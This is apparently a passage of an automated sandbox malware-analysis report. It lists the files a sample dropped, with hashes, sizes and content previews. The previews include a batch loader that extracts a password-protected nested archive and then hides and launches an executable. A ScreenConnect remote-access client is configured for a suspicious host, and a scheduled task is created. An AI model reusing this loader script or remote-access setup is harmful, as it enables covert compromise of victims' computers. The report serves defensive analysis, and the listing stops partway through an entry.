Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Reputation:	unknown
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Windows\Installer\3ca64e.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}, Create Time/Date: Mon Oct 28 17:43:52 2024, Last Saved Time/Date: Mon Oct 28 17:43:52 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
Category:	dropped
Size (bytes):	13434880
Entropy (8bit):	7.9685260871410515
Encrypted:	false
SSDEEP:	196608:sWh0cGwzWh0cGMWh0cGYWh0cGgWh0cG4Wh0cG5Wh0cG:sWac9WacNWacXWacPWacBWaceWac
MD5:	24579E5A1A15783455016D11335A9AB2
SHA1:	FDE36A6FBDE895BA1BB27B0784900FB17D65FBBD
SHA-256:	9E8537945EAE78CFA227CC117E5D33EA7854E042EC942D9523B5A08C45068DC1
SHA-512:	1B54F5D169B1D4B91643633CEF2AF6ECA945C2517BA69B820751F1BB32C33E6E0390AFA7DDF20097472CE9C4716F85138C335652AA061491398E0C1136B60709
Malicious:	false
Reputation:	unknown
Preview:	......................>.......................................................\|...l...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\3ca650.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}, Create Time/Date: Mon Oct 28 17:43:52 2024, Last Saved Time/Date: Mon Oct 28 17:43:52 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
Category:	dropped
Size (bytes):	13434880
Entropy (8bit):	7.9685260871410515
Encrypted:	false
SSDEEP:	196608:sWh0cGwzWh0cGMWh0cGYWh0cGgWh0cG4Wh0cG5Wh0cG:sWac9WacNWacXWacPWacBWaceWac
MD5:	24579E5A1A15783455016D11335A9AB2
SHA1:	FDE36A6FBDE895BA1BB27B0784900FB17D65FBBD
SHA-256:	9E8537945EAE78CFA227CC117E5D33EA7854E042EC942D9523B5A08C45068DC1
SHA-512:	1B54F5D169B1D4B91643633CEF2AF6ECA945C2517BA69B820751F1BB32C33E6E0390AFA7DDF20097472CE9C4716F85138C335652AA061491398E0C1136B60709
Malicious:	false
Reputation:	unknown
Preview:	......................>.......................................................\|...l...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA9C9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	431189
Entropy (8bit):	6.617895222016406
Encrypted:	false
SSDEEP:	6144:EuH2aCGw1ST1wQLdqv5uH2aCGw1ST1wQLdqvrssc:EuH2anwohwQUv5uH2anwohwQUvrssc
MD5:	F2FCC357FEB0A43AC48AFB56ECB310AC
SHA1:	F664CAB85457B099B889257CD37B6C4D62385CD8
SHA-256:	C130CCDB38EA0FE308A201B960B90C0F53D0163F5CCE10A46FA256946CFCA413
SHA-512:	B79A6E3DA53E616C22295B84A741C973096F63CC3AC7A029DD0EA43B0A9F960C17F05343BE32ABECDA758B00C3414B822AB614503693559495DAB1436453BB5C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Installer\MSIA9C9.tmp, Author: Joe Security
Reputation:	unknown
Preview:	...@IXOS.@.....@UQ.Y.@.....@.....@.....@.....@.....@......&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}'.ScreenConnect Client (98a59bd0eed9222b)..ScreenConnect.ClientSetup.msi.@.....@.....@.....@......DefaultIcon..&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (98a59bd0eed9222b)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{F56AA437-B04A-EEB0-A497-CE4A32497BEB}^.C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll.@.......@.....@.....@......&.{D4C6373C-9B4C-38F2-E580-71E34BAC7A40}f.C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe.@.......@.....@.....@......&.{1412F331-FCBF-D8D0-4388-4373963F1E32}c.C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileMa

C:\Windows\Installer\MSIA9E9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207360
Entropy (8bit):	6.573348437503042
Encrypted:	false
SSDEEP:	3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
MD5:	BA84DD4E0C1408828CCC1DE09F585EDA
SHA1:	E8E10065D479F8F591B9885EA8487BC673301298
SHA-256:	3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
SHA-512:	7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../....../......./......./.....n./...../../.../....../....../..-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIAD07.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207360
Entropy (8bit):	6.573348437503042
Encrypted:	false
SSDEEP:	3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
MD5:	BA84DD4E0C1408828CCC1DE09F585EDA
SHA1:	E8E10065D479F8F591B9885EA8487BC673301298
SHA-256:	3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
SHA-512:	7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../....../......./......./.....n./...../../.../....../....../..-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1718759097104
Encrypted:	false
SSDEEP:	12:JSbX72FjoSAGiLIlHVRpIh/7777777777777777777777777vDHFGmmxY7rl0i8Q:JeSQI5wPmVF
MD5:	CB9F32F23EC5D8ADA9FFEE957DA0F4B1
SHA1:	34AF475C8555E330302E77BF631E2CAB511F02AF
SHA-256:	348F96F8C10A2232A108472D35E1CB899DC9B058166F88775E401120FCFFACEB
SHA-512:	68C758CD7BD5346D543E5CA626CD7E51354066FD5A01A49B85E138EB36FE58F143F10321904FB6B191ABBF6AF05404F0F8F42028FF07EAA17777C341724E6BAF
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.8306192700832327
Encrypted:	false
SSDEEP:	48:j8Ph/uRc06WXzEFT5LxifRFqcq56Adux3SiaIdglP773+rPmaaS6y9Or2Adux3SN:Kh/15FTmp4p03ftdYcPuGv30
MD5:	B4E30A6976F38B8F31DAF5613B9B3B2C
SHA1:	9C63F3EB1771E37559FD58B57C0F7DE5D716A012
SHA-256:	87FC102F0478A1F9867F012B7D402F6DA75DF547464BBD77D257D87505676685
SHA-512:	405A716DC073E64A4391B03E6052ABC1453C9AFE0D3437E0E1626BBF8CE7550639BCAA69E3AF777DCFA53916FD7433A6119BD7C1058C14E5B7AC6C38B277B38F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Installer\inprogressinstallinfo.ipi, Author: Joe Security
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 3 icons, 16x16 with PNG image data, 45 x 45, 8-bit/color RGBA, non-interlaced, 4 bits/pixel, 32x32 with PNG image data, 45 x 45, 8-bit/color RGBA, non-interlaced, 4 bits/pixel
Category:	dropped
Size (bytes):	7668
Entropy (8bit):	7.864444854228408
Encrypted:	false
SSDEEP:	192:NN78fxDBmgwVRjuzFN78fxDBmgwVRjuzFN78fxDBmgwVRjuzc:NN78dB742N78dB742N78dB74d
MD5:	55A6B0132343F5FC425515F0E29A5A53
SHA1:	CC8FE5C184EBB14AD6D835D8E743F4FC2678CB10
SHA-256:	A6663FB9874ABA9B9C1958D2D17470B73E1C95621A503454B2D0F941F989EAA6
SHA-512:	4F57298141165351CCE82CCCD9CAE456591253C9BEB753645D92B73D933F8405CD22011FC0E8C488A2CD3D3B54C7AF327F2869432EE92C1C41B0F4474D6C6BE9
Malicious:	false
Reputation:	unknown
Preview:	..................6... .......... ...00...............PNG........IHDR...-...-.....:......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...:...:..d.J...NIDATX...{pT.......$\..................h.m+Z.....I.R.... X.E...V+.^.......i...F.;..IDH..?.l. ..S.qxg2...}.../.y.......r1E..?.......K[...D.../L....u..n....$!R..Jh...?.dSUX...V%..Jy.-.m#x....X.rYn....R_.ds..........V..x[$]..}...b...". ...,....\|.F`.....E[`\6...G.m..$.K...IxAb..^."....@.^..G....bK.....F.+.E...p......2WBk......8...p......_u.mR.6.......xs.....jHX.)l....KA..F...u_}.G.pF.`.i....K..JQ.C..cc..[..-06.d{...%TtG..'.....9.W5W.~)..Qlx.d.gT....gX.#L..4{......cG..h..$...ie.....W..)X...#o..dku..[.VQp..c?...........)..+w.p.H....I...:...r...6?....V...{.R...?.w..i......sC[..R.t!_v.A.....-kzL.8...d.(..6I.....&.R..1.....p.?.Vt..@>^....{p.s.[..c9.k~k.B....(.......%=........x6.6:..Vu.. ......".;g..f....o}..+..n.w..%.j.0...X:.^...o....$.8@M]B..J..R.. ..a....n.<.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362979793176814
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauF:zTtbmkExhMJCIpEE
MD5:	F432B8B2D547252D96177F885949274F
SHA1:	975E9C2D2681980992E93D58B91221EA147FB8EB
SHA-256:	091539079440EAC060496A31E90E2774A22C28082EE551CD4C64328F13A50B50
SHA-512:	FDAEEE4A396402FE9EFE7F7FD235812C7EC01ECD00A8B7237FD06B583058F4AFB7ECEE95CB91AA7DCC83B8C58EF186A3AA0E0F9E059C3930E6F67842707CDE73
Malicious:	false
Reputation:	unknown
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\bq5ldq2a.newcfg

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	556
Entropy (8bit):	5.035951306734901
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENOm05r/vXbAa3xT:2dL9hK6E46YPzvH
MD5:	87E68B5777C327A18F66C45CC0BAFD65
SHA1:	40643753D71721C59D5F24C5AC1AB2AB3FB3743B
SHA-256:	FF9FF6BDDF1815625B63AC427F99D62E6375E7F3E7EDFD7D8D2EC30B5E4EFEFE
SHA-512:	E2AA3BDBDF80FBB23D0EBDCD2A57AFE0895D42755A1D6593F3A6D11885BAC76ED1EBB7803DDA1A230B4D007A80C49D843A7F5BE7F6B97118067BAAF77EFBA416
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>gips620.top=95.214.234.11-19%2f12%2f2024%2015%3a10%3a46</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\user.config (copy)

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	556
Entropy (8bit):	5.035951306734901
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENOm05r/vXbAa3xT:2dL9hK6E46YPzvH
MD5:	87E68B5777C327A18F66C45CC0BAFD65
SHA1:	40643753D71721C59D5F24C5AC1AB2AB3FB3743B
SHA-256:	FF9FF6BDDF1815625B63AC427F99D62E6375E7F3E7EDFD7D8D2EC30B5E4EFEFE
SHA-512:	E2AA3BDBDF80FBB23D0EBDCD2A57AFE0895D42755A1D6593F3A6D11885BAC76ED1EBB7803DDA1A230B4D007A80C49D843A7F5BE7F6B97118067BAAF77EFBA416
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>gips620.top=95.214.234.11-19%2f12%2f2024%2015%3a10%3a46</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.401071884872951
Encrypted:	false
SSDEEP:	6:rRmkbXUhXUEZ+lX1CGdKUe6tE9+AQy0lHtMut0:rRrr4Q1CGAFD9+nVHzt0
MD5:	827833BA3C59D85C47C18F5E0E2D08F2
SHA1:	BD35477B796E66F369C01B6C7415BF3A83BB60FD
SHA-256:	DB22B853D07EAB50D7EFF457582F6C6832520C9D37FE235BDCC0B7938CACA9FF
SHA-512:	6FF5C149AE6A336FA5A35520184849777F67D5630A7F54BD8E43B36D19D61CC1400721F97272778B40B4EBB807F64A31F5EC0A88558A5A8562B3CC64130FF4DE
Malicious:	false
Reputation:	unknown
Preview:	.....6O..x.N.?..yjO.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\Temp\~DF4F72EAE088270CE3.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.246617108566386
Encrypted:	false
SSDEEP:	48:iNDBAdux3S3qcq56Adux3SiaIdglP773+rPmaaS6y9OrAVifQ:id3xp03ftdYcPuG7M
MD5:	90DC107C4DE266100E23AEF300599C2B
SHA1:	716DFFCCCDCDF8E6B6BE8118E42FD627517EAA4A
SHA-256:	3D6F71F56940236E030EC2EFCB01AD253E189855BBD6D97563A232EE5C739C97
SHA-512:	DD92B251B62D17DCEA18F592A179D2DB66E846368180CA606DBB83E11ADB7B68EAFF22E5916E6F583B09FA8AEB081DFC33CA56027F5EF2B894195743385BCB39
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DF4F72EAE088270CE3.TMP, Author: Joe Security
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF50B7F9ACD4A0EE95.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7597BB02DCCF2FBD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
